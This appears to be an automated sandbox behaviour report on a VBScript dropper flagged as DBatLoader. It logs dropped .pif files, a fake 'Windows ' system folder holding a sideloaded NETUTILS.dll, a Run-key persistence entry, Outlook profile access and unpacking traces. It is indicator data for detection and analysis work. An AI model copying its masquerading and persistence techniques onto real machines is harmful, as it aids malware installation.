Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: propsys.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\liuuazhU.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: INQUIRY LIST 292.vbs

Static file information: File size 1139043 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825651514.000000007F650000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.1.dr
Source:	Binary string: _.pdb source: liuuazhU.pif, 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000001.00000003.1848292254.0000000021462000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1848292254.0000000021491000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825651514.000000007F650000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, svchost.pif.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 6.2.liuuazhU.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 11.2.liuuazhU.pif.400000.2.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 17.2.liuuazhU.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 6.2.liuuazhU.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 11.2.liuuazhU.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\liuuazhU.pif	Unpacked PE file: 17.2.liuuazhU.pif.400000.0.unpack

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\x.exe");

Yara detected DBatLoader

Source: Yara match	File source: 1.2.x.exe.27d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1799207040.000000007FCB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: liuuazhU.pif.1.dr

Static PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027E8818 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_027E8818

Source: initial sample

Static PE information: section where entry point is pointing to: .

Source: x.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0xdc457
Source: NETUTILS.dll.1.dr	Static PE information: real checksum: 0x273f3 should be: 0x26a85
Source: Uhzauuil.PIF.1.dr	Static PE information: real checksum: 0x0 should be: 0xdc457

Source: svchost.pif.1.dr	Static PE information: section name: .imrsiv
Source: svchost.pif.1.dr	Static PE information: section name: .didat
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: /4
Source: NETUTILS.dll.1.dr	Static PE information: section name: /19
Source: NETUTILS.dll.1.dr	Static PE information: section name: /31
Source: NETUTILS.dll.1.dr	Static PE information: section name: /45
Source: NETUTILS.dll.1.dr	Static PE information: section name: /57
Source: NETUTILS.dll.1.dr	Static PE information: section name: /70
Source: NETUTILS.dll.1.dr	Static PE information: section name: /81
Source: NETUTILS.dll.1.dr	Static PE information: section name: /92

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FD2FC push 027FD367h; ret	1_2_027FD35F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027DC349 push 8B027DC1h; ret	1_2_027DC34E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D332C push eax; ret	1_2_027D3368
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EF3FC push ecx; mov dword ptr [esp], edx	1_2_027EF401
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D63B0 push 027D640Bh; ret	1_2_027D6403
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D63AE push 027D640Bh; ret	1_2_027D6403
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E306C push 027E30B9h; ret	1_2_027E30B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E306B push 027E30B9h; ret	1_2_027E30B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FD0AC push 027FD125h; ret	1_2_027FD11D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FD144 push 027FD1ECh; ret	1_2_027FD1E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FD1F8 push 027FD288h; ret	1_2_027FD280
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FC770 push 027FC76Eh; ret	1_2_027FC766
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E8738 push 027E877Ah; ret	1_2_027E8772
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D6784 push 027D67C6h; ret	1_2_027D67BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D6782 push 027D67C6h; ret	1_2_027D67BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027DC56C push ecx; mov dword ptr [esp], edx	1_2_027DC571
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027FC550 push 027FC76Eh; ret	1_2_027FC766
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027DD5A0 push 027DD5CCh; ret	1_2_027DD5C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027DCA4F push 027DCD72h; ret	1_2_027DCD6A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027DCBEC push 027DCD72h; ret	1_2_027DCD6A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E6948 push 027E69F3h; ret	1_2_027E69EB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E6946 push 027E69F3h; ret	1_2_027E69EB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E790C push 027E7989h; ret	1_2_027E7981
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EA998 push 027EA9D0h; ret	1_2_027EA9C8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EA997 push 027EA9D0h; ret	1_2_027EA9C8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E8990 push 027E89C8h; ret	1_2_027E89C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E898E push 027E89C8h; ret	1_2_027E89C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E5E7C push ecx; mov dword ptr [esp], edx	1_2_027E5E7E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E2F60 push 027E2FD6h; ret	1_2_027E2FCE
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_0041C40C push cs; iretd	6_2_0041C4E2
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00423149 push eax; ret	6_2_00423179

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\svchost.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\Uhzauuil.PIF	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\liuuazhU.pif	Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\svchost.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\Uhzauuil.PIF	Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\NETUTILS.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\liuuazhU.pif	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\svchost.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\NETUTILS.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Uhzauuil			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Uhzauuil			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027EA9D4 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_027EA9D4

Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
